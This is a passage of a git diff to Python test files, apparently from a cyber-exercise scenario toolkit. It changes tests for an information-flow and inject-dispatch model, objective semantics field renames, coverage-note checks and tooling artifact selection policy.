pair in permutations((first, second)): + assert model.effect_plan(pair) == ("conflict",) + assert model.effect_plan(pair, order=frozenset({("rule-a", "rule-b")})) == () + assert model.effect_plan((first, first)) == () + + +def test_lifecycle_order_and_explicit_independence(): + stop = model.Request("stop", "shutdown", "P", "participant") + inject = model.Request("hint", "inject", "P", "participant") + assert model.effect_plan((stop, inject)) == ("conflict",) + assert model.effect_plan((stop, inject), order=frozenset({("stop", "hint")})) == ("conflict",) + assert model.effect_plan((stop, inject), order=frozenset({("hint", "stop")})) == () + other = replace(inject, rule="other", subject="Q", target="supervisor") + assert model.effect_plan((inject, other)) == ("conflict",) + assert model.effect_plan((inject, other), independent=frozenset({frozenset({"hint", "other"})})) == () + assert model.effect_plan((inject, other), order=frozenset({("hint", "other"), ("other", "hint")})) == ( + "invalid-order", + ) + assert model.effect_plan((replace(inject, kind="callback"),)) == ("unsupported",) + + +def test_fresh_inject_identity_commit_replay_and_external_uncertainty(): + state = model.State() + request = model.Request("followup", "inject", "P", "participant", content="prompt:reflection") + for denied in (dict(allowed=False), dict(current="K1"), dict(committed=False)): + after, outcome = model.claim(state, request, **denied) + assert after == state + assert outcome != "committed" + state, outcome = model.claim(state, request) + assert outcome == "committed" + identity = state.claims[0].identity + assert identity != request.subject + assert model.claim(state, request) == (state, "committed") + assert model.claim(state, replace(request, content="different")) == (state, "key-conflict") + assert model.dispatch(state, identity, fenced=False)[0] == state + assert model.dispatch(state, identity, allowed=False)[0] == state + assert model.dispatch(state, identity, expected="K0", current="K1")[0] == state + state, _ = model.dispatch(state, identity) + assert state.calls == (identity,) + state = model.observe(state, identity, "indeterminate") + assert model.dispatch(state, identity)[0] == state + state = model.observe(state, identity, "applied") + assert model.dispatch(state, identity) == (state, "applied") + assert state.calls == (identity,) + + +def test_causal_budget_depth_rule_limits_and_fresh_proposal_reentry(): + request = model.Request("followup", "inject", "P", "participant") + for total, depth, per_rule in product(range(3), repeat=3): + state = model.State(limit=total, depth_limit=depth, rule_limit=per_rule) + parent = None + for epoch in range(4): + state, _ = model.claim(state, replace(request, epoch=epoch, parent=parent)) + if state.claims: + parent = state.claims[-1].identity + assert len(state.claims) == min(total, depth, per_rule) + if state.claims: + assert model.claim(state, state.claims[0].request)[0] == state + transformed = model.derive("P2", (model.Influence("P", frozenset(model.TOKENS)),)) + assert transformed.ref == "P2" + assert transformed.labels == frozenset(model.TOKENS) + assert model.compose( + (model.Slot("sink", "decision"),), (model.Result("sink", "decision", payload="deny"),), cut="K0" + ) + state, _ = model.claim(model.State(), replace(request, kind="transform", subject="P2"), allowed=False) + assert not state.claims + assert not state.calls + + +def test_teaching_influence_requests_an_independently_governed_inject(): + proposal = model.derive( + "P", (model.Influence("H", frozenset({"coached-hint"})), model.Influence("M", frozenset({"worked-example"}))) + ) + slots = (model.Slot("ifc", "fact"), model.Slot("budget", "decision")) + results = (model.Result("ifc", "fact"), model.Result("budget", "decision", payload="permit")) + assert model.compose(slots, results, cut="K0") == () + assert "coached-hint" in proposal.labels + request = model.Request("hint-followup/1", "inject", proposal.ref, "student", content="reflection") + # The trigger source and its control dependency both contribute influence. + state, _ = model.claim(model.State(), request, expected="K1", current="K1") + injected = model.derive(state.claims[0].identity, (proposal, model.Influence("reflection", frozenset()))) + assert injected.labels == proposal.labels + state, _ = model.dispatch(state, state.claims[0].identity, expected="K1", current="K1") + assert len(state.calls) == 1 + + +def test_known_adversarial_observation_retains_security_influence_and_triggers_inject(): + from sem233_boundary_flow_model import FlowGateState, FlowProfile, FlowValue, SinkPolicy, derive, may_flow_at_sink + + profile = FlowProfile( + "participant-boundary-flow-policy-v1", + "rev1", + "sem-233/rev1", + frozenset({"hidden-condition", "conf:deny-unresolved"}), + frozenset({"attacker-influence", "int:deny-unresolved"}), + ) + source = FlowValue( + "A", + profile.label(integrity={"attacker-influence"}), + frozenset({"source:A"}), + frozenset({"attacker:A"}), + "subject", + "episode", + "exposure", + "rev1", + "K0", + ) + observation = SinkPolicy( + "observation", + "subject", + profile.profile_id, + profile.profile_revision, + "exposure", + "rev1", + "K0", + frozenset(), + frozenset({"attacker-influence"}), + ) + assert may_flow_at_sink(profile, source, observation, FlowGateState.allowing()) + proposal = derive( + profile, + result_ref="P", + inputs=(source,), + participant_ref="subject", + episode_ref="episode", + policy_ref="exposure", + policy_revision="rev1", + state_cut_ref="K0", + ) + assert proposal.label.integrity == source.label.integrity + assert not may_flow_at_sink( + profile, proposal, replace(observation, satisfied_integrity=frozenset()), FlowGateState.allowing() + ) + assert not may_flow_at_sink(profile, source.without_label(), observation, FlowGateState.allowing()) + request = model.Request("adversarial-exposure/1", "inject", "P", "supervisor", content="evaluator-prompt") + state, _ = model.claim(model.State(), request, expected="K1", current="K1") + identity = state.claims[0].identity + prompt = replace( + source, + value_ref="prompt", + label=profile.label(confidentiality={"hidden-condition"}), + provenance_refs=frozenset({"source:prompt"}), + influence_refs=frozenset({"prompt:influence"}), + ) + injected = derive( + profile, + result_ref=identity, + inputs=(proposal, prompt), + participant_ref="supervisor", + episode_ref="episode", + policy_ref="supervisor-only", + policy_revision="rev1", + state_cut_ref="K1", + ) + inject_sink = replace( + observation, + sink_ref="inject", + destination_ref="supervisor", + policy_ref="supervisor-only", + state_cut_ref="K1", + satisfied_confidentiality=frozenset({"hidden-condition"}), + ) + assert injected.label.integrity == proposal.label.integrity + assert may_flow_at_sink(profile, injected, inject_sink, FlowGateState.allowing()) + assert not may_flow_at_sink( + profile, injected, replace(inject_sink, satisfied_confidentiality=frozenset()), FlowGateState.allowing() + ) + # The exact supervisor audience is an independent gate, not source endorsement. + assert model.dispatch(state, identity, allowed=False)[0].calls == () + state, _ = model.dispatch(state, identity, expected="K1", current="K1") + assert state.calls == (identity,) + + +def test_inject_audience_and_policy_cut_use_incumbent_projection(): + from sem230_information_flow_model import Crossing, CrossingKind, Label, ProjectionPolicyDecision, project_history + + policy = ProjectionPolicyDecision("projection", "rev1", "decision:1", "K1", frozenset({"I"}), frozenset()) + crossing = Crossing( + "supervisor", + "supervisor", + 1, + CrossingKind.DISCLOSURE, + Label.INTERVENTION, + "I", + "evaluator-prompt", + "rev1", + "decision:1", + "K1", + True, + True, + True, + True, + False, + True, + True, + ) + assert project_history((crossing,), (policy,), participant="supervisor", audience="supervisor") == ( + (1, "I", "evaluator-prompt"), + ) + assert project_history((crossing,), (policy,), participant="subject", audience="subject") == () + assert ( + project_history( + (replace(crossing, decision_cut_ref="K2"),), (policy,), participant="supervisor", audience="supervisor" + ) + == () + ) + + +def test_model_refuses_unrepresented_multiple_effect_slots_per_rule(): + request = model.Request("rule", "inject", "P", "participant") + assert model.effect_plan((request, replace(request, slot=1))) == ("unsupported",) + + +@pytest.mark.parametrize("kind", ("permit", "deny", "withhold")) +def test_disposition_cannot_be_dispatched_as_an_occurrence(kind): + state, result = model.claim(model.State(), model.Request("decision", kind, "P", "participant")) + assert result == "refused" + assert not state.claims + assert not state.calls + + +@pytest.mark.parametrize("payload", ("permit", "deny", "withhold", "abstain")) +def test_optional_advice_has_no_direct_grant_or_veto(payload): + slots = (model.Slot("sink", "decision"), model.Slot("monitor", "advice", mandatory=False)) + advice = model.Result("monitor", "advice", payload=payload) + for decision in ("permit", "deny", "withhold", "abstain"): + results = (model.Result("sink", "decision", payload=decision), advice) + expected = () if decision == "permit" else (f"sink:{decision}",) + assert model.compose(slots, results, cut="K0") == expected + assert model.compose(slots, results[:1], cut="K0") == expected diff --git a/implementations/python/tests/test_semantic_cli.py b/implementations/python/tests/test_semantic_cli.py index a400da54d..0a3441003 100644 --- a/implementations/python/tests/test_semantic_cli.py +++ b/implementations/python/tests/test_semantic_cli.py @@ -24,14 +24,12 @@ def _write_sdl(tmp_path: Path) -> Path: return source -@pytest.mark.parametrize( - "operation", - ["parse", "validate", "normalize", "resolve", "compile", "transform", "inspect", "conformance"], -) -def test_semantic_surface_exposes_required_operations(operation: str) -> None: - result = CliRunner().invoke(app, ["semantic", operation, "--help"]) +def test_semantic_help_lists_required_operations() -> None: + result = CliRunner().invoke(app, ["semantic", "--help"]) assert result.exit_code == 0, result.output + for operation in ("parse", "validate", "normalize", "resolve", "compile", "transform", "inspect", "conformance"): + assert operation in result.output @pytest.mark.parametrize( diff --git a/implementations/python/tests/test_semantic_coverage.py b/implementations/python/tests/test_semantic_coverage.py index 7856efa25..fff01956c 100644 --- a/implementations/python/tests/test_semantic_coverage.py +++ b/implementations/python/tests/test_semantic_coverage.py @@ -87,27 +87,20 @@ def _flagged(failures, marker: str) -> bool: return any(f.rule_id == marker or needle in f.render().lower() for f in failures) -# (case id, mutated coverage note, marker the checker must flag) +# (case id, mutated coverage note, markers the checker must flag) _NOTE_DEFECT_CASES = [ ("section-missing", _GOOD_NOTE.replace("## Coverage Model", "## Something Else"), "coverage model"), - ("status-unknown", _GOOD_NOTE.replace("| active |", "| done |"), "done"), - ("status-unknown-rule", _GOOD_NOTE.replace("| active |", "| done |"), "coverage-status"), - ("phase-unknown", _GOOD_NOTE.replace("validation, compilation, planning", "validation, deployment"), "deployment"), + ("status-unknown", _GOOD_NOTE.replace("| active |", "| done |"), ("done", "coverage-status")), ( - "phase-unknown-rule", + "phase-unknown", _GOOD_NOTE.replace("validation, compilation, planning", "validation, deployment"), - "coverage-phase", + ("deployment", "coverage-phase"), ), ("owner-bad-uid", _GOOD_NOTE.replace("| SEM-202 |", "| sem-202 |"), "sem-202"), ( "artifact-missing", _GOOD_NOTE.replace("`specs/formal/objectives/README.md`", "`specs/formal/objectives/nope.md`"), - "nope.md", - ), - ( - "artifact-missing-rule", - _GOOD_NOTE.replace("`specs/formal/objectives/README.md`", "`specs/formal/objectives/nope.md`"), - "coverage-artifact-missing", + ("nope.md", "coverage-artifact-missing"), ), ( "artifact-unsupported", @@ -156,11 +149,12 @@ def _flagged(failures, marker: str) -> bool: @pytest.mark.parametrize( - ("note_body", "marker"), [(n, m) for _, n, m in _NOTE_DEFECT_CASES], ids=[c for c, _, _ in _NOTE_DEFECT_CASES] + ("note_body", "markers"), [(n, m) for _, n, m in _NOTE_DEFECT_CASES], ids=[c for c, _, _ in _NOTE_DEFECT_CASES] ) -def test_note_defect_is_flagged(tmp_path: Path, note_body: str, marker: str) -> None: +def test_note_defect_is_flagged(tmp_path: Path, note_body: str, markers: str | tuple[str, ...]) -> None: failures = evaluate_semantic_coverage(_seed_repo(tmp_path, note_body)) - assert _flagged(failures, marker) + for marker in (markers,) if isinstance(markers, str) else markers: + assert _flagged(failures, marker), marker # (case id, ADR-016 body — or None to omit the file entirely, expected rule id) diff --git a/implementations/python/tests/test_semantics_objectives.py b/implementations/python/tests/test_semantics_objectives.py index 33a648e16..a8bead904 100644 --- a/implementations/python/tests/test_semantics_objectives.py +++ b/implementations/python/tests/test_semantics_objectives.py @@ -11,13 +11,15 @@ from raes.parser import parse_sdl_file from raes.semantics.assessment import AssessmentResourceKind from raes.semantics.objective_semantics import ( - OBJECTIVE_ACTOR_DEPENDENCY_ROLES, + OBJECTIVE_ASSIGNMENT_DEPENDENCY_ROLES, OBJECTIVE_DEPENDENCY_DEPENDENCY_ROLES, + OBJECTIVE_OWNER_DEPENDENCY_ROLES, OBJECTIVE_SUCCESS_DEPENDENCY_ROLES, OBJECTIVE_TARGET_DEPENDENCY_ROLES, OBJECTIVE_WINDOW_DEPENDENCY_ROLES, AssessmentResourceCatalog, ObjectiveReferenceKind, + ObjectiveRelationCatalog, WindowResourceCatalog, analyze_objective_semantics, partition_objective_dependencies, @@ -116,7 +118,7 @@ def _write_objective_window_scenario(path: Path, *, namespace: str = "") -> None {prefix}kickoff: {{}} objectives: {prefix}observe: - entity: {prefix}blue + owner: {prefix}blue success: assertions: [{prefix}health] window: @@ -413,10 +415,12 @@ def _window(*, stories=None, scripts=None, events=None, workflows=None, steps=No ) -def _objective(*, agent="", entity="", actions=None, targets=None, success=None, window=None, depends_on=None): +def _objective( + *, assigned_participant="", owner="", actions=None, targets=None, success=None, window=None, depends_on=None +): return SimpleNamespace( - agent=agent, - entity=entity, + assigned_participant=assigned_participant, + owner=owner, actions=list(actions or []), targets=list(targets or []), success=success if success is not None else _success(assertions=["health"]), @@ -451,8 +455,11 @@ def _analyze(objectives, **overrides): sections = {key: overrides.pop(key, default) for key, default in section_defaults.items()} kwargs: dict = { "objectives_by_name": objectives, - "agents_by_name": {}, - "entity_names": set(), + "relation_resources": ObjectiveRelationCatalog( + agents=overrides.pop("agents_by_name", {}), + entity_names=overrides.pop("entity_names", set()), + action_contracts=overrides.pop("action_contracts", {"Scan": object(), "Persist": object()}), + ), "assessment_resources": AssessmentResourceCatalog( assertions=sections["assertions_by_name"], ), @@ -472,9 +479,9 @@ class TestObjectiveSemantics: def test_well_formed_objectives_normalize_references_and_dependencies(self) -> None: analysis = _analyze( { - "base": _objective(entity="blue", success=_success(assertions=["c1"])), + "base": _objective(owner="blue", success=_success(assertions=["c1"])), "follow": _objective( - agent="red", + assigned_participant="red", actions=["Scan"], targets=["nodes.web"], success=_success(assertions=["c2"]), @@ -491,8 +498,10 @@ def test_well_formed_objectives_normalize_references_and_dependencies(self) -> N assert not analysis.has_issues - actor_names = {ref.canonical_name for ref in analysis.references_of_kind(ObjectiveReferenceKind.ACTOR)} - assert actor_names == {"entities.blue", "red"} + assert {ref.canonical_name for ref in analysis.references_of_kind(ObjectiveReferenceKind.ASSIGNMENT)} == {"red"} + assert {ref.canonical_name for ref in analysis.references_of_kind(ObjectiveReferenceKind.OWNER)} == { + "entities.blue" + } assert {ref.canonical_name for ref in analysis.references_of_kind(ObjectiveReferenceKind.TARGET)} == { "nodes.web" } @@ -521,7 +530,7 @@ def test_well_formed_objectives_normalize_references_and_dependencies(self) -> N for ref in analysis.references_of_kind(ObjectiveReferenceKind.WINDOW): assert ObjectiveDependencyRole.REFRESH in ref.dependency_roles assert ObjectiveDependencyRole.ORDERING not in ref.dependency_roles - for kind in (ObjectiveReferenceKind.ACTOR, ObjectiveReferenceKind.TARGET): + for kind in (ObjectiveReferenceKind.ASSIGNMENT, ObjectiveReferenceKind.OWNER, ObjectiveReferenceKind.TARGET): for ref in analysis.references_of_kind(kind): assert ref.dependency_roles == () @@ -534,20 +543,20 @@ def test_well_formed_objectives_normalize_references_and_dependencies(self) -> N def test_undeclared_actor_references_are_reported(self) -> None: analysis = _analyze( { - "a": _objective(agent="ghost"), - "b": _objective(entity="ghost-team"), + "a": _objective(assigned_participant="ghost"), + "b": _objective(owner="ghost-team"), }, agents_by_name={"red": _agent()}, entity_names={"blue"}, assertions_by_name={"health": object()}, ) codes = {issue.code for issue in analysis.issues} - assert "objective.actor-agent-undeclared" in codes - assert "objective.actor-entity-undeclared" in codes + assert "objective.assignment-undeclared" in codes + assert "objective.owner-undeclared" in codes def test_agent_action_must_be_declared(self) -> None: analysis = _analyze( - {"a": _objective(agent="red", actions=["Persist"])}, + {"a": _objective(assigned_participant="red", actions=["Persist"])}, agents_by_name={"red": _agent("Scan")}, assertions_by_name={"health": object()}, ) @@ -557,7 +566,7 @@ def test_agent_action_must_be_declared(self) -> None: def test_unresolvable_target_is_reported(self) -> None: analysis = _analyze( - {"a": _objective(entity="blue", targets=["ghost"])}, + {"a": _objective(owner="blue", targets=["ghost"])}, entity_names={"blue"}, assertions_by_name={"health": object()}, ) @@ -565,7 +574,7 @@ def test_unresolvable_target_is_reported(self) -> None: def test_ambiguous_target_is_reported_with_sorted_candidates(self) -> None: analysis = _analyze( - {"a": _objective(entity="blue", targets=["web"])}, + {"a": _objective(owner="blue", targets=["web"])}, entity_names={"blue"}, assertions_by_name={"health": object()}, targetable_name_index={"web": {"nodes.web", "features.web"}}, @@ -578,7 +587,7 @@ def test_undeclared_success_assertion_is_reported(self) -> None: analysis = _analyze( { "a": _objective( - entity="blue", + owner="blue", success=_success(assertions=["c?"]), ) }, @@ -591,7 +600,7 @@ def test_window_issues_are_resurfaced_under_objective_codes(self) -> None: analysis = _analyze( { "a": _objective( - entity="blue", + owner="blue", success=_success(assertions=["health"]), window=_window(scripts=["s1"], events=["evt"]), ) @@ -605,7 +614,7 @@ def test_window_issues_are_resurfaced_under_objective_codes(self) -> None: def test_undeclared_dependency_is_reported(self) -> None: analysis = _analyze( - {"a": _objective(entity="blue", depends_on=["ghost"])}, + {"a": _objective(owner="blue", depends_on=["ghost"])}, entity_names={"blue"}, assertions_by_name={"health": object()}, ) @@ -614,8 +623,8 @@ def test_undeclared_dependency_is_reported(self) -> None: def test_dependency_cycle_is_reported_once_globally(self) -> None: analysis = _analyze( { - "a": _objective(entity="blue", depends_on=["b"]), - "b": _objective(entity="blue", depends_on=["a"]), + "a": _objective(owner="blue", depends_on=["b"]), + "b": _objective(owner="blue", depends_on=["a"]), }, entity_names={"blue"}, assertions_by_name={"health": object()}, @@ -628,7 +637,7 @@ def test_unresolved_variable_references_are_skipped(self) -> None: analysis = _analyze( { "a": _objective( - agent="${actor}", + assigned_participant="${actor}", actions=["${act}"], targets=["${tgt}"], success=_success(assertions=["${m}"]), @@ -678,7 +687,8 @@ def test_role_constants_are_sane(self) -> None: assert OBJECTIVE_WINDOW_DEPENDENCY_ROLES == (ObjectiveDependencyRole.REFRESH,) # Actor and target references are normalized for fail-closed validation # but the compiler does not propagate ordering or refresh through them. - assert OBJECTIVE_ACTOR_DEPENDENCY_ROLES == () + assert OBJECTIVE_ASSIGNMENT_DEPENDENCY_ROLES == () + assert OBJECTIVE_OWNER_DEPENDENCY_ROLES == () assert OBJECTIVE_TARGET_DEPENDENCY_ROLES == () def test_partition_emits_each_category_under_default_roles(self) -> None: diff --git a/implementations/python/tests/test_specification_coverage.py b/implementations/python/tests/test_specification_coverage.py index ed788d064..4867c713e 100644 --- a/implementations/python/tests/test_specification_coverage.py +++ b/implementations/python/tests/test_specification_coverage.py @@ -51,9 +51,9 @@ def test_current_bundle_records_reproducible_and_honest_results() -> None: def test_immutable_bundle_index_preserves_concurrent_captures() -> None: bundles = copy_bundle(load_bundles, REPO_ROOT) - assert {manifest["revision"] for manifest, *_rest in bundles} >= {"1.0.0", "1.1.0"} + assert {manifest["revision"] for manifest, *_rest in bundles} >= {"1.0.0", "1.1.0", "19.0.0"} manifest, *_rest = copy_bundle(load_bundle, REPO_ROOT) - assert manifest["revision"] == "15.0.0" + assert manifest["revision"] == "66.0.0" def test_historical_failures_name_the_revision_specific_documents() -> None: diff --git a/implementations/python/tests/test_tooling_artifact_policy.py b/implementations/python/tests/test_tooling_artifact_policy.py index 5e69479c6..94de4afb1 100644 --- a/implementations/python/tests/test_tooling_artifact_policy.py +++ b/implementations/python/tests/test_tooling_artifact_policy.py @@ -22,16 +22,13 @@ gitleaks_tool, isabelle_tool, osv_scanner_tool, - tooling_artifact_policy_actions, tooling_policy_gate, vale_tool, verified_tool_installation, verified_tree_installation, ) from tools.check_tooling_artifact_policy import ( - ACTIONS_POLICY_PATH, ARTIFACT_LOCK_PATH, - INVENTORY_COVERAGE_PATH, PROFILES_PATH, SELECTOR_BINDINGS_PATH, _tracked_paths, @@ -39,11 +36,13 @@ normalize_platform_id, select_tooling_artifact, select_tooling_host_profile, - tooling_policy_sha256, ) from tools.policy import conftest_tool from tools.tooling_policy_gate import LockedArtifactSelection, LockedInstalledTree, LockedManifestEntry +ACTIONS_POLICY_PATH = "implementations/tooling/actions-policy.json" +INVENTORY_COVERAGE_PATH = "implementations/tooling/inventory-coverage.json" + REPO_ROOT = Path(__file__).resolve().parents[3] TOOLING_ROOT = REPO_ROOT / "implementations" / "tooling" @@ -154,32 +153,7 @@ def _seed_policy(root: Path) -> Path: "required_capability_ids": ["git"], "proof_support": "unsupported", "host_security_control_changes": "prohibited", - "offline_kit": { - "kit_id": "fixture-kit", - "credential_free": True, - "network_fallback": "prohibited", - "artifact_ids": ["tool-a"], - "host_prerequisite_package_ids": ["git"], - "host_trust_root_refs": ["fixture-root"], - }, - "qualification_record_ids": ["fixture-evidence"], - } - ], - "qualification_records": [ - { - "evidence_id": "fixture-evidence", - "host_profile_id": "fixture-linux-x86_64", - "test_case_ids": ["T01"], - "implementation_revision": "a" * 40, - "observed_at": "2026-09-07T00:00:00Z", - "context": "fixture", - "outcome": "passed", - "base_image_identity": "fixture-image:1", - "native_repository_identity": "fixture-repository:1", - "policy_sha256": _SHA_A, - "capability_results": [{"capability_id": "git", "outcome": "passed", "observed_identity": "git:1"}], - "evidence_location": "fixture:evidence", - "evidence_sha256": _SHA_B, + "host_prerequisite_package_ids": ["git"], } ], }, @@ -212,6 +186,16 @@ def _seed_policy(root: Path) -> Path: }, ], "denied_digests": [], + "release_producers": [ + { + "producer_id": "fixture-producer", + "issuer": "https://token.actions.githubusercontent.com", + "repository": "example/repo", + "workflow_ref": "example/repo/.github/workflows/release.yml@refs/heads/main", + "signer_workflow": "example/repo/.github/workflows/release.yml", + "reviewer_roles": ["Release", "Security"], + } + ], }, ) _write_json( @@ -240,13 +224,6 @@ def _seed_policy(root: Path) -> Path: { "schema_version": "raes-development-selector-bindings/v1", "bindings": [], - "runtime_selections": [ - { - "artifact_id": "tool-a", - "consumers": ["tools/acquire_tool_a.py"], - } - ], - "tracked_literals": [], }, ) acquire_path = root / "tools" / "acquire_tool_a.py" @@ -284,7 +261,6 @@ def _seed_policy(root: Path) -> Path: }, ) profiles = _load(root, PROFILES_PATH) - profiles["qualification_records"][0]["policy_sha256"] = tooling_policy_sha256(root) _write_json(root, PROFILES_PATH, profiles) return root @@ -298,6 +274,103 @@ def _load(root: Path, relative: str) -> dict: return json.loads((root / relative).read_text(encoding="utf-8")) +@pytest.mark.parametrize("unrelated", ["workflow", "container", "qualification"]) +def test_selected_tool_is_independent_of_unrelated_policy( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch, unrelated: str +) -> None: + _seed_policy(tmp_path) + monkeypatch.setattr(check_tooling_artifact_policy, "_tracked_paths", lambda root: ["tools/acquire_tool_a.py"]) + selection = dict( + artifact_id="tool-a", version="1.0.0", platform_id="linux-x86_64", profile_id="public-linux-x86_64" + ) + expected = select_tooling_artifact(tmp_path, **selection) + if unrelated == "qualification": + profiles = _load(tmp_path, PROFILES_PATH) + profiles["qualification_records"] = [{"policy_sha256": "0" * 64}] + _write_json(tmp_path, PROFILES_PATH, profiles) + elif unrelated == "workflow": + _write_json(tmp_path, ACTIONS_POLICY_PATH, {"obsolete": True}) + else: + path = tmp_path / ".devcontainer" / "Dockerfile" + path.parent.mkdir() + path.write_text("FROM ubuntu:latest\n", encoding="utf-8") + monkeypatch.setattr( + check_tooling_artifact_policy, "_tracked_paths", lambda root: [str(path.relative_to(tmp_path))] + ) + assert select_tooling_artifact(tmp_path, **selection) == expected + + +def test_python_selection_needs_only_its_own_authorities(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + from tools.python_closure_profiles import load_python_closure_profile + + monkeypatch.setattr(check_tooling_artifact_policy, "_tracked_paths", lambda root: []) + documents = _seed_python_closure_authorities(tmp_path) + _write_json(tmp_path, PROFILES_PATH, documents[PROFILES_PATH]) + schemas = tmp_path / "implementations/tooling/schemas" + shutil.copytree(TOOLING_ROOT / "schemas", schemas) + _write_json(tmp_path, ACTIONS_POLICY_PATH, {"obsolete": True}) + profiles = documents[PROFILES_PATH] + profiles["qualification_records"] = [] + _write_json(tmp_path, PROFILES_PATH, profiles) + selected = load_python_closure_profile(tmp_path, "public-linux-x86_64-cp312-all-extras") + assert selected.python_version == "3.12" + manifest = json.loads(selected.wheelhouse_manifest.read_text()) + manifest["lock_sha256"] = "0" * 64 + _write_json(tmp_path, str(selected.wheelhouse_manifest.relative_to(tmp_path)), manifest) + with pytest.raises(ValueError, match="projection"): + load_python_closure_profile(tmp_path, selected.profile_id) + + +def test_host_selection_ignores_unrelated_actions_and_qualification(tmp_path: Path) -> None: + _seed_policy(tmp_path) + _write_json(tmp_path, ACTIONS_POLICY_PATH, {"obsolete": True}) + profiles = _load(tmp_path, PROFILES_PATH) + profiles["qualification_records"] = [] + _write_json(tmp_path, PROFILES_PATH, profiles) + selected = select_tooling_host_profile(tmp_path, host_profile_id="fixture-linux-x86_64") + assert [entry["artifact_id"] for entry in selected["artifacts"]] == ["tool-a"] + + +@pytest.mark.parametrize("corruption", ["hash", "secret-url", "dependency", "duplicate", "denied"]) +def test_selected_tool_rejects_corrupt_input_before_acquisition(tmp_path: Path, corruption: str) -> None: + _seed_policy(tmp_path) + lock = _load(tmp_path, ARTIFACT_LOCK_PATH) + platform = lock["artifacts"][0]["platforms"][0] + if corruption == "hash": + platform["raw_manifest"][0]["sha256"] = "invalid" + elif corruption == "secret-url": + platform["source_urls"] = ["https://example.invalid/tool?token=private"] + elif corruption == "dependency": + platform["dependencies"] = ["missing"] + elif corruption == "duplicate": + lock["artifacts"].append(lock["artifacts"][0]) + else: + admission_path = "implementations/tooling/admission-policy.json" + admission = _load(tmp_path, admission_path) + admission["denied_digests"] = [_SHA_A] + _write_json(tmp_path, admission_path, admission) + _write_json(tmp_path, ARTIFACT_LOCK_PATH, lock) + with pytest.raises(ValueError) as error: + select_tooling_artifact( + tmp_path, + artifact_id="tool-a", + version="1.0.0", + platform_id="linux-x86_64", + profile_id="public-linux-x86_64", + ) + assert "private" not in str(error.value) + + +def test_repository_policy_does_not_require_retired_inventory_or_qualification_hashes(tmp_path: Path) -> None: + _seed_policy(tmp_path) + for path in (ACTIONS_POLICY_PATH, INVENTORY_COVERAGE_PATH): + (tmp_path / path).unlink() + profiles = _load(tmp_path, PROFILES_PATH) + assert "qualification_records" not in profiles + _write_json(tmp_path, PROFILES_PATH, profiles) + assert _failures(tmp_path) == set() + + def _seed_python_closure_authorities(root: Path) -> dict[str, dict]: for relative in ( "implementations/python/pyproject.toml", @@ -320,25 +393,6 @@ def _python_closure_rule_ids(root: Path, documents: dict[str, dict]) -> set[str] return {item.rule_id for item in python_closure_failures(root, documents, tracked_paths=[])} -def _fixture_service_exception(*, review_on: str = "2027-03-11") -> dict[str, object]: - return { - "exception_id": "fixture-service", - "source_id": "checkout", - "action": "actions/checkout", - "input_id": "service", - "reason": "Fixture service response cannot be pinned.", - "operation": "read fixture service", - "allowed_origins": ["github.com"], - "credential_class": "none", - "credential_forwarding": "none", - "owner_roles": ["Tooling"], - "reviewer_roles": ["Security"], - "evidence_ref": "fixture:service-review", - "scope": "Fixture-only source read.", - "review_on": review_on, - } - - @pytest.mark.integration @pytest.mark.timeout(300) def test_checked_in_tooling_policy_is_valid_and_deterministic() -> None: @@ -354,34 +408,14 @@ def test_checked_in_python_closure_profiles_are_closed_and_complete() -> None: "public-linux-arm64-cp314-all-extras", "public-macos-arm64-cp314-all-extras", } - expected_tools = { - "public-linux-x86_64-cp314-tools", - "public-linux-arm64-cp314-tools", - "public-macos-arm64-cp314-tools", - } document = _load(REPO_ROOT, PROFILES_PATH) profiles = {profile["python_closure_profile_id"]: profile for profile in document["python_closure_profiles"]} - - assert set(profiles) == expected_project | expected_tools - assert {profiles[profile_id]["python"]["version"] for profile_id in expected_project} == { - "3.11", - "3.12", - "3.13", - "3.14", - } - assert all(profiles[profile_id]["project_extras"] == ["dev", "docs"] for profile_id in expected_project) - assert all(profiles[profile_id]["purposes"] == ["tool", "build"] for profile_id in expected_tools) - assert all(profiles[profile_id]["project_extras"] == [] for profile_id in expected_tools) - assert all(profiles[profile_id]["tool_groups"] == ["default", "build"] for profile_id in expected_tools) - # cryptography 50 ships no macOS x86_64 wheel, so no tool closure may target - # that platform; every closure carries the patched releases (#1268). + assert set(profiles) == expected_project + assert all(profile["project_extras"] == ["dev", "docs"] for profile in profiles.values()) + assert all(profile["acquisition_context_ids"] == ["python-public"] for profile in profiles.values()) + # Runtime cryptography still needs patched binary wheels; moving the TLS + # fixture does not qualify a previously unsupported Intel Mac target. assert all(profile["python"]["platform"] != "x86_64-apple-darwin" for profile in profiles.values()) - for profile_id in expected_tools: - manifest = json.loads((REPO_ROOT / profiles[profile_id]["wheelhouse_manifest"]).read_text(encoding="utf-8")) - artifacts = {item["name"]: item for item in manifest["artifacts"]} - assert {"cryptography", "hatchling", "pathspec", "trove-classifiers"} <= artifacts.keys() - assert artifacts["cryptography"]["version"] == "50.0.1" - assert artifacts["pip"]["version"] == "26.2.1" loaded = load_python_closure_profile(REPO_ROOT, "public-linux-x86_64-cp312-all-extras") assert loaded.build_constraints.name == "build-constraints.txt" assert loaded.test_case_ids == ("T03", "T10", "T11", "T13", "T23") @@ -393,7 +427,7 @@ def test_python_closure_environment_discards_ambient_acquisition_state(tmp_path: profile = load_python_closure_profile(REPO_ROOT, "public-linux-x86_64-cp312-all-extras") environment = closure_environment( profile, - context_id="python-offline", + context_id="python-public", home=tmp_path / "home", cache_dir=tmp_path / "cache", source={ @@ -410,7 +444,8 @@ def test_python_closure_environment_discards_ambient_acquisition_state(tmp_path: "PATH": "/usr/bin", "UV_CACHE_DIR": str(tmp_path / "cache"), "UV_KEYRING_PROVIDER": "disabled", - "UV_OFFLINE": "1", + "UV_DEFAULT_INDEX": "https://pypi.org/simple", + "UV_INDEX_STRATEGY": "first-index", "UV_PYTHON_DOWNLOADS": "never", } @@ -453,167 +488,6 @@ def test_python_wheelhouse_admission_rejects_missing_unexpected_wrong_hash_and_s verify_wheelhouse(wheelhouse, manifest) -def _seed_bootstrap_wheelhouse_fixture( - tmp_path: Path, -) -> tuple[Path, str, Path, Path, Path, Path, Path]: - root = tmp_path / "repo" - profiles_path = root / PROFILES_PATH - manifest_path = root / "closure-manifest.json" - requirements_path = root / "closure-requirements.txt" - lock_path = root / "closure.lock" - wheelhouse = root / "wheelhouse" - snapshot_path = root / "manifest-snapshot.json" - profiles_path.parent.mkdir(parents=True) - wheelhouse.mkdir() - requirements_path.write_text("fixture==1 --hash=sha256:" + _SHA_A + "\n", encoding="utf-8") 